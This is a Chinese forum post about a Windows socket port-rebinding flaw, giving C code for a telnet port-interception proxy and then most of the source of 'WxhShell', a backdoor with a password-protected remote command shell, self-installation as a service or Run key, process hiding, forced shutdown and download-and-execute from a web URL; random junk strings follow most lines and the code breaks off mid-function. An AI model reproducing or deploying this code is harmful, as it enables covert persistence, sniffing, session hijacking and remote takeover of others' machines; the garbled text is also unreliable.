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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uN8/Q2   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oI*d/*  
XJc ,uj7  
  saddr.sin_family = AF_INET; sp^Wo7&g  
-ovoRI^6`}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ea 2 `q  
[O(m/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0',[J  
eap8*ONl  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GKCM|Y  
"3wv:BL  
  这意味着什么?意味着可以进行如下的攻击: f$vwuW  
?HV}mS[t  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 as(;]  
zOL;"/R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P:qz2Hw  
c+~Lp SQ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;>8kPG  
vmLpm xS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  fa4=h;>a+  
/p,{?~0mj  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yWNOG 2qAP  
&f"T,4Oh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7|Xe&o<n  
L1:nfH&:'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [z2eCH  
7LfcF  
  #include iKhH^V%j  
  #include *Z; r B  
  #include HAd%k$Xu{  
  #include    `UQEXoB)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   XC2FF&B&  
  int main() ,m:L2 -J@  
  { Ch t%uzb,  
  WORD wVersionRequested; b4)k&*dfR  
  DWORD ret; O:._W<  
  WSADATA wsaData; 2$ tQ @r  
  BOOL val; yyjw?#\8  
  SOCKADDR_IN saddr; |kseKZ3  
  SOCKADDR_IN scaddr; *,&S',S-  
  int err; 0yaMe@&,  
  SOCKET s; 57<Di!rt  
  SOCKET sc; x}|+sS,g  
  int caddsize; I>aGp|4  
  HANDLE mt; +j.qZ8  
  DWORD tid;   Q ?^4\_  
  wVersionRequested = MAKEWORD( 2, 2 ); t3a#%'Dv  
  err = WSAStartup( wVersionRequested, &wsaData ); e^8BV;+c  
  if ( err != 0 ) { *7Xzht&f  
  printf("error!WSAStartup failed!\n"); z0 \N{rP&  
  return -1; gHZqA_*T8U  
  } O:IQ!mzV5  
  saddr.sin_family = AF_INET; AuXs B  
   W~yLl%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s&VOwU  
D"!jbVz]*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l|q%%W0  
  saddr.sin_port = htons(23); 7h`^N5H.q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H99xZxHZ{  
  { nA+F  
  printf("error!socket failed!\n"); F,&)X>:l  
  return -1; eF5;[v  
  } ^BiP LQ  
  val = TRUE; n]iyFZ`9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %J!NL0x_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +{e`]t>_  
  { R5ZIC4p  
  printf("error!setsockopt failed!\n"); c]NN'9G!{  
  return -1; #)]E8=}  
  } j8a[ (  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g YUTt  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7 >bMzdH  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $w/E9EJ)3A  
mX;H((  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Cfv]VQQE  
  { p/&HUQQk  
  ret=GetLastError(); P0 b4Hq3  
  printf("error!bind failed!\n"); ({ k7#1 h8  
  return -1; jkt 6/H  
  } (A4&k{C_  
  listen(s,2); e2wvc/gG6  
  while(1) F&az":  
  { H %z/v|e6  
  caddsize = sizeof(scaddr); SY T$3|a  
  //接受连接请求 ;MPKJS68@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9go))&`PJL  
  if(sc!=INVALID_SOCKET) T?rH ,$:  
  { > c:Zx!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #c:kCZt#  
  if(mt==NULL) E-SG8U;  
  { `tVy_/3(9  
  printf("Thread Creat Failed!\n"); V;;#/$oU:4  
  break; J|5Ay1eF-  
  } dB7ZT0L\  
  } F 7LiG9H6`  
  CloseHandle(mt); <u0,Fp  
  } n[CoS  
  closesocket(s); M*`hDdS  
  WSACleanup(); y/tSGkMv  
  return 0; $r15gfne>  
  }   F0.zi>5  
  DWORD WINAPI ClientThread(LPVOID lpParam) &d,Wy"WPi  
  { U\bC0q   
  SOCKET ss = (SOCKET)lpParam; sLhDO'kM  
  SOCKET sc; zJC EA  
  unsigned char buf[4096];  KGT3|)QN  
  SOCKADDR_IN saddr; x<F$aXOS  
  long num; iRve)   
  DWORD val; ix*muVBj.  
  DWORD ret; x0<^<D&Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 x7$ax79ly  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [.&[<!,.  
  saddr.sin_family = AF_INET; $.8 H>c  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C:j]43`  
  saddr.sin_port = htons(23); ArXl=s';s4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ti2  
  { V.VJcx  
  printf("error!socket failed!\n"); !*vBW/  
  return -1; vD26;S.y[a  
  } X"<|Z]w  
  val = 100; {[^#h|U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ep ">v>"  
  { bV6V02RF  
  ret = GetLastError(); 2 Y+:,ud\  
  return -1; ri=+(NKo-  
  } >rf5)Y~f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GFL-.? 0  
  { %l|\of7P2}  
  ret = GetLastError(); |';7v)CIG  
  return -1; ,LUTHWEo"I  
  } k|B2@{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -oh7d$~  
  { 8xTix1u0  
  printf("error!socket connect failed!\n"); vYnftJK&  
  closesocket(sc); V^rW?Do  
  closesocket(ss); BY( eV!  
  return -1; 9)lZyE}   
  } rQj~[Y.c  
  while(1) 1exfCm  
  { 0>@[o8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $ $4W}Ug3U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fM ^<+o@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 XU9'Rfp  
  num = recv(ss,buf,4096,0); &t3Jv{  
  if(num>0) w2zp#;d  
  send(sc,buf,num,0); hW' HT  
  else if(num==0) %\I.DEYH  
  break; mx}E$b$<CY  
  num = recv(sc,buf,4096,0); 6Xa.0(h  
  if(num>0) ^73=7PZ  
  send(ss,buf,num,0);  AP w6  
  else if(num==0) {ERjeuDm]  
  break; ],&\%jd<  
  } ])N%^Qe$U  
  closesocket(ss); % wL,v.}  
  closesocket(sc); . #U}q 7X  
  return 0 ; KyLp?!|>  
  } MZ~.(&  
M[s\E4l:t  
d+5:Qrr  
========================================================== Kz[BB@[  
#{,h@g}W  
下边附上一个代码,,WXhSHELL KY+]RxX  
o0`q#>7!_b  
========================================================== j04/[V)  
x+:zq<0|  
#include "stdafx.h" Kv?;cu!  
@a(oB.i  
#include <stdio.h> 784;]wdy\  
#include <string.h> ?D=8{!R3  
#include <windows.h> 2 ~-( A  
#include <winsock2.h> n(R_#,Hs  
#include <winsvc.h> sFElD ]|  
#include <urlmon.h> m&Sp1=*Ejy  
@q)E=G1<o0  
#pragma comment (lib, "Ws2_32.lib") JIV8q HC  
#pragma comment (lib, "urlmon.lib") XKSX#cia  
q%S8\bt  
#define MAX_USER   100 // 最大客户端连接数 !<r8~A3!(  
#define BUF_SOCK   200 // sock buffer [H^ X"D  
#define KEY_BUFF   255 // 输入 buffer _}ele+  
{D,RU8&  
#define REBOOT     0   // 重启 l%<c6;  
#define SHUTDOWN   1   // 关机 6LM9e0oxy  
9v~5qv;  
#define DEF_PORT   5000 // 监听端口 8 u:2,l  
61:9(*4~!F  
#define REG_LEN     16   // 注册表键长度 C3.=GRg~l  
#define SVC_LEN     80   // NT服务名长度 |Fp'/~|w2d  
wd+O5Lr.R  
// 从dll定义API .bfST.OA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H,|YLKg-|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b:Dg}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); / O)6iJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0N5bPb  
!Uy>eji}  
// wxhshell配置信息 e1 ^l.>2d6  
struct WSCFG { uV77E*+7\  
  int ws_port;         // 监听端口 +c?ie4   
  char ws_passstr[REG_LEN]; // 口令 7K:FeW'N  
  int ws_autoins;       // 安装标记, 1=yes 0=no -tyaE  
  char ws_regname[REG_LEN]; // 注册表键名 r*Z_+a8  
  char ws_svcname[REG_LEN]; // 服务名 ? s4oDi|:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (8x gn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;)|nkI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r|-J8s#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^ItAW$T]F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }]GbUC!Zb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Cuv|6t75'  
 XhA4:t  
}; B5`;MQJ  
rr )/`Kmv%  
// default Wxhshell configuration u){S$</  
struct WSCFG wscfg={DEF_PORT, ~U%j{8uH  
    "xuhuanlingzhe", OG}KqG!n  
    1, ?O7iK<5N  
    "Wxhshell", @_Sp3nWdu  
    "Wxhshell", ^ZVO ql&  
            "WxhShell Service", ~`[8"YUL  
    "Wrsky Windows CmdShell Service", vJThU$s-  
    "Please Input Your Password: ", ?*+1~m>  
  1, 7@a\*|K6  
  "http://www.wrsky.com/wxhshell.exe", Wr#~GFg  
  "Wxhshell.exe" ?(Bl~?zD  
    }; eJaUmK:  
!Bj^i cR  
// 消息定义模块 y@ .b 4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FfSI n3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r=\P!`{5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `oXg<tivU  
char *msg_ws_ext="\n\rExit."; t= *Jg/$  
char *msg_ws_end="\n\rQuit."; Hz?,#>{  
char *msg_ws_boot="\n\rReboot..."; 5M.Red.L  
char *msg_ws_poff="\n\rShutdown..."; 5Pqt_ZWy  
char *msg_ws_down="\n\rSave to "; O! (85rp/  
JZw^ W{  
char *msg_ws_err="\n\rErr!"; DaCblX  
char *msg_ws_ok="\n\rOK!"; [yF^IlSs  
:`5;nl63  
char ExeFile[MAX_PATH]; |0]YA  
int nUser = 0; dk:xnX%  
HANDLE handles[MAX_USER]; rXDJ:NP  
int OsIsNt; @ExLh9  
zzE]M}s  
SERVICE_STATUS       serviceStatus; 5"uNj<.V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y($EK(cb  
3P`WPph  
// 函数声明 G<fS (q  
int Install(void); 6VFirLd  
int Uninstall(void); UOJ*a1BM  
int DownloadFile(char *sURL, SOCKET wsh); kwc*is  
int Boot(int flag); 23k)X"5  
void HideProc(void); ]_\AHnJ  
int GetOsVer(void); pU@YiwP"]x  
int Wxhshell(SOCKET wsl); L6x B`E9  
void TalkWithClient(void *cs); AoU_;B\b%  
int CmdShell(SOCKET sock); 6kR -rA  
int StartFromService(void); Rv,Mu3\~#c  
int StartWxhshell(LPSTR lpCmdLine); 1q`k}KMy  
xy vND  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j@CKO cn2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G g(NGT  
yZ|+VXO  
// 数据结构和表定义 R` 44'y|  
SERVICE_TABLE_ENTRY DispatchTable[] = $$\V 2%v  
{ W[fT R?n  
{wscfg.ws_svcname, NTServiceMain}, []=_<]{  
{NULL, NULL} T;J7+0  
}; $)f"K  
l-cW;b~  
// 自我安装 !YY 6o V  
int Install(void) {dBB{.hX  
{ ^8Z@^M&O"  
  char svExeFile[MAX_PATH]; ]2PQ X4t 0  
  HKEY key; eX@ v7i,}  
  strcpy(svExeFile,ExeFile); "&Gw1.p  
A`IHP{aB  
// 如果是win9x系统,修改注册表设为自启动 \*Ts)EW  
if(!OsIsNt) {  M$F{N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L7<+LA)s0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e|JIrOnc  
  RegCloseKey(key); e) ]RA?bF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]  ~'9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HmW=t}!  
  RegCloseKey(key); <c(&T<$  
  return 0; _TrZ'iL}T  
    } N6WPTUQ1mF  
  } rykj2/O  
} .Jptj  
else { gU+ss  
1z3]PA!R  
// 如果是NT以上系统,安装为系统服务 \FVNXU MU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B#QL M^  
if (schSCManager!=0) b]"2 VN  
{ ma1 (EJ/  
  SC_HANDLE schService = CreateService <o ~t$TH  
  ( +;YE)~R?  
  schSCManager, MCM/=M'y  
  wscfg.ws_svcname, 9uKOR7.zbo  
  wscfg.ws_svcdisp, D/e&7^iK  
  SERVICE_ALL_ACCESS, 0u>yT?jP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +)?,{eE|  
  SERVICE_AUTO_START, gji*Wq  
  SERVICE_ERROR_NORMAL, Qg[heND  
  svExeFile, b$dBV}0 L  
  NULL,  8>ESD}(  
  NULL, xC'mPcU8  
  NULL, hI*`>9l  
  NULL, xna7kA  
  NULL ^)Smv\Md  
  ); bB y'v/  
  if (schService!=0) Ywmyr[Uh'  
  { JaA&eT|  
  CloseServiceHandle(schService); `(P "u  
  CloseServiceHandle(schSCManager); W8< @sq~I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .#"1bRWpZ  
  strcat(svExeFile,wscfg.ws_svcname); w<Zdq}{jO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !X%S)VSMU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZTr:xX{R6  
  RegCloseKey(key); Wa(W&]  
  return 0; 7qpzk7X?pR  
    } 9z+vFk`  
  } 0,:iE\  
  CloseServiceHandle(schSCManager); $|rCrak;  
} [+y &HNf  
} fBf]4@{  
C?8PT/  
return 1; NS h%t+XU]  
} 3T"2S[gT  
VIb;96$Or  
// 自我卸载 92s4u3 L;  
int Uninstall(void) BO[+E' 2  
{ @8QFP3\1  
  HKEY key; R_t~UTfI;  
"tfn?n0  
if(!OsIsNt) { 4tbw*H5!5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [|y`y%  
  RegDeleteValue(key,wscfg.ws_regname); W&HF?w}s  
  RegCloseKey(key); 8b-7]%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T:be 9 5!,  
  RegDeleteValue(key,wscfg.ws_regname); )gr}<}X)B  
  RegCloseKey(key); ,;9ak-$8p  
  return 0; m"5{D*|  
  } 4s[`yV  
} \)FeuLGL9  
} 7F,07\c  
else { ^cB49s+{e  
su,`q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rH[5~U  
if (schSCManager!=0) dz{#"No0  
{ Cq-hPa}2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c]GQU  
  if (schService!=0) Lc58lV=  
  { P;^y|0N m  
  if(DeleteService(schService)!=0) { J>&[J!>r  
  CloseServiceHandle(schService); O 5g}2  
  CloseServiceHandle(schSCManager); SL6mNn9c  
  return 0; Xq+!eOT  
  } VEL:JsY  
  CloseServiceHandle(schService); FX{ ~"  
  } " ]aQ Hh]f  
  CloseServiceHandle(schSCManager); mk#>Dpy?  
} r3n=<l!Jr  
} UAnB=L,.\  
 fn4=  
return 1; 5T~3$kuO  
} n;e."^5  
) ~ l\  
// 从指定url下载文件 t8L<x  
int DownloadFile(char *sURL, SOCKET wsh) >.a+:   
{ v]B0!k&4.  
  HRESULT hr; jVLY!7Z4  
char seps[]= "/"; Mi;}.K0J  
char *token; =6.8bZT\  
char *file; qlz( W  
char myURL[MAX_PATH]; <FCj)CP%  
char myFILE[MAX_PATH]; suA+8}o]  
(J6" ;  
strcpy(myURL,sURL); "9c.CI  
  token=strtok(myURL,seps); D2Vb{%(4.  
  while(token!=NULL)  Ask' !  
  { @WhZx*1  
    file=token; SNQz8(O  
  token=strtok(NULL,seps); 59&T/  
  } Zkf 3t>[  
*54>iO- c  
GetCurrentDirectory(MAX_PATH,myFILE); JoZqLy!@  
strcat(myFILE, "\\"); &{X{36  
strcat(myFILE, file); b=6MFPbg  
  send(wsh,myFILE,strlen(myFILE),0); 1~["{u  
send(wsh,"...",3,0); | \ s2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &p/S>qKu#  
  if(hr==S_OK) :iP>z}h  
return 0; |pfhrwJp  
else >t 1_5  
return 1; 3!i. Fmo  
Gg 7Wm L  
} jA20c(O  
y0/WA4,  
// 系统电源模块 "6NFe!/Y$*  
int Boot(int flag) Dj-\))L  
{ o0zc}mm  
  HANDLE hToken; 08<k'Oi]  
  TOKEN_PRIVILEGES tkp; F{#N6,T  
5*s1qA0^  
  if(OsIsNt) { sN} s61  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <'PR;g^#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v7s ]  
    tkp.PrivilegeCount = 1; !!?+M @  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y|{r vBKjf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -ET*M<  
if(flag==REBOOT) { $=e&q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :z0s*,QH  
  return 0; LydbP17K}  
} ek<PISlci  
else { hQgk.$g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pFpQ\xc9$  
  return 0; kx"hWG4  
} " #mXsp-ut  
  } *u|lmALs  
  else { >P6^k!R1y  
if(flag==REBOOT) { /'8*aUa  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Sqp;/&Ji  
  return 0; M/::`yJQu  
} Hs:4I  
else { {:};(oz)f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k| _$R?  
  return 0; '1>g=Ic0  
} =oL8d 6nI  
} (SgEt  
%JP&ox|^&  
return 1; (cOND/S  
} `c qH}2s#  
nx!qCgo  
// win9x进程隐藏模块 e67c:Z  
void HideProc(void) AijPN  
{ "E@NZ*"u  
[ 4?cM\_u@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Uv @!i0W  
  if ( hKernel != NULL ) .4S^nP  
  { }<( "0jC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q7 %=`l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b>hBct}  
    FreeLibrary(hKernel); iQ]T+}nn_  
  } <Um1h:^   
d-6sC@PB  
return; 2ru*#Z#(  
} aGq_hP   
B)j`}7O 06  
// 获取操作系统版本 ]Ks]B2Osz  
int GetOsVer(void) B$}wF<`k7  
{ 8! |.H p  
  OSVERSIONINFO winfo; EmtDrx4!(f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?V&Ld$db  
  GetVersionEx(&winfo); WrE-Zti  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SeRK7Q&_  
  return 1; ue6/EN;}  
  else p^pQZ6-  
  return 0; ! /|0:QQi  
} UA69_E{JCH  
kbIY%\QSO  
// 客户端句柄模块 ~>}dse  
int Wxhshell(SOCKET wsl) yiv RpSL  
{ GsP@ B'  
  SOCKET wsh; XhlI|h-j  
  struct sockaddr_in client; < '>d0:>N  
  DWORD myID; |kBg8).B  
sx)$=~o  
  while(nUser<MAX_USER) h@PMCmf_  
{ ),D`ZRXS  
  int nSize=sizeof(client); |?;"B:0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \28b_,i+  
  if(wsh==INVALID_SOCKET) return 1; %9~kA5Qj  
TRr4`y%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WL)_8!  
if(handles[nUser]==0) nU?Xc(Xy  
  closesocket(wsh); xoz*UA.  
else ,%)WT>  
  nUser++; _-|yCo  
  } o5*74Mv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V\k5h  
wa(Wit"-  
  return 0; T;:',T[G  
} &geOFe}R  
HonAK  
// 关闭 socket K d`l[56#  
void CloseIt(SOCKET wsh) ;4S [ba1/  
{ k"DQbUy0L  
closesocket(wsh); WRLu 3nBx  
nUser--; ' F 6au[  
ExitThread(0); |04}zU%N  
} ~Me&cT8  
/_zF?5h  
// 客户端请求句柄 Y>dg10=  
void TalkWithClient(void *cs) vZ_DG}n11  
{ W)$|Hm:H  
5x1%oC  
  SOCKET wsh=(SOCKET)cs; cOZajC<G  
  char pwd[SVC_LEN]; 9|G=KN)P:  
  char cmd[KEY_BUFF]; +X%fcoc  
char chr[1]; RBv=  
int i,j; dp//p)B>  
`3>)BV<P  
  while (nUser < MAX_USER) { wEo-a< (  
]mO+<{{4X  
if(wscfg.ws_passstr) {  jKb=Zkd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8&2gM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _,K>u6N&  
  //ZeroMemory(pwd,KEY_BUFF); H~_^w.P  
      i=0; W"}*Q -8W  
  while(i<SVC_LEN) { <4!&iU+;  
R^u^y{ohr  
  // 设置超时 sxC{\iLY%  
  fd_set FdRead; S{"6PXzb  
  struct timeval TimeOut; o{-USUGj7  
  FD_ZERO(&FdRead); [r/Seg"  
  FD_SET(wsh,&FdRead); `aX}.{.!  
  TimeOut.tv_sec=8; UQji7K }  
  TimeOut.tv_usec=0; PU@U@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {C0OrO2:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j_ywG{Jk  
G"UH4n[1ur  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oVuj020  
  pwd=chr[0]; Fb<\(#t  
  if(chr[0]==0xd || chr[0]==0xa) { p-(ADQS  
  pwd=0; 9^Vx*KVrU  
  break; d@>k\6%j  
  } n4r( Vg1GS  
  i++; <8z[,X}bM  
    } um0}`Xq^  
1o6J9kCq^3  
  // 如果是非法用户,关闭 socket R=Ly49  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n nnA,  
} *V@MAt  
g9lg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KbuGf$Bv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DRmh(T  
e,j? _p  
while(1) { L&gEQDPgq|  
k~9Ywf  
  ZeroMemory(cmd,KEY_BUFF); $qyM X[  
>G3 J3P(  
      // 自动支持客户端 telnet标准   OTFu4"]M  
  j=0; Ci#5@Q9#w  
  while(j<KEY_BUFF) { OHtZ"^YG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hDkqEkq1R  
  cmd[j]=chr[0];  ~NW5+M(u  
  if(chr[0]==0xa || chr[0]==0xd) { [2j (\vC!  
  cmd[j]=0; aab4c^Ms=  
  break; :PjUl  
  } G'}_ZUy#  
  j++; &LxzAL,3!  
    } / jL{JF>I  
RVKaqJ0e<  
  // 下载文件 pt|$bU7  
  if(strstr(cmd,"http://")) { ;Q,).@<C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |s3HeY+Co  
  if(DownloadFile(cmd,wsh)) PS<tS_.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W-ND<=:Up  
  else ,"MUfZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); buM>^A"  
  } 3v3Va~fm`  
  else { 2.&V  
^CZ|ci6bX  
    switch(cmd[0]) { #y9K-}u  
  ^[\53\R~  
  // 帮助 W2.1xNWO  
  case '?': { 6pz:Lfd80  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AU?YZEAei  
    break; Ug'nr  
  } VflPNzixb!  
  // 安装 b+j_EA_b  
  case 'i': { i$ZpoM  
    if(Install()) [t=+$pf(-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;51!a C  
    else #&8pp8wd,}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,HO/Q6;N  
    break; 0v)mgrl=,  
    } ?bYQZJ>&  
  // 卸载  F-\8f(\  
  case 'r': { tlxjs]{0E  
    if(Uninstall()) kd4*Zab  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +n~rM'^4/  
    else 9M~$W-5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); te4"+[ $|  
    break; x 3co?  
    } _nFvM'`<  
  // 显示 wxhshell 所在路径 J1ro\"  
  case 'p': { vc1GmB  
    char svExeFile[MAX_PATH]; ~4X!8b_  
    strcpy(svExeFile,"\n\r"); Mw7UU1 ei  
      strcat(svExeFile,ExeFile); Q+js2?7^  
        send(wsh,svExeFile,strlen(svExeFile),0); cZ2, u,4  
    break; [Ik B/Xbw|  
    } .;v'oR1x5  
  // 重启 o>rlrqr?_  
  case 'b': { aTL7"Myp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5Fm? ,^  
    if(Boot(REBOOT)) <?@46d?C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uo)<_nG  
    else { ~map5@Kd  
    closesocket(wsh); aeLo;!Jh  
    ExitThread(0); .0;k|&eBD  
    } 0YRYCO$  
    break; _q4dgi z  
    } CbaAnm1  
  // 关机 gY^TBR0?m  
  case 'd': { (S 3kP5:F  
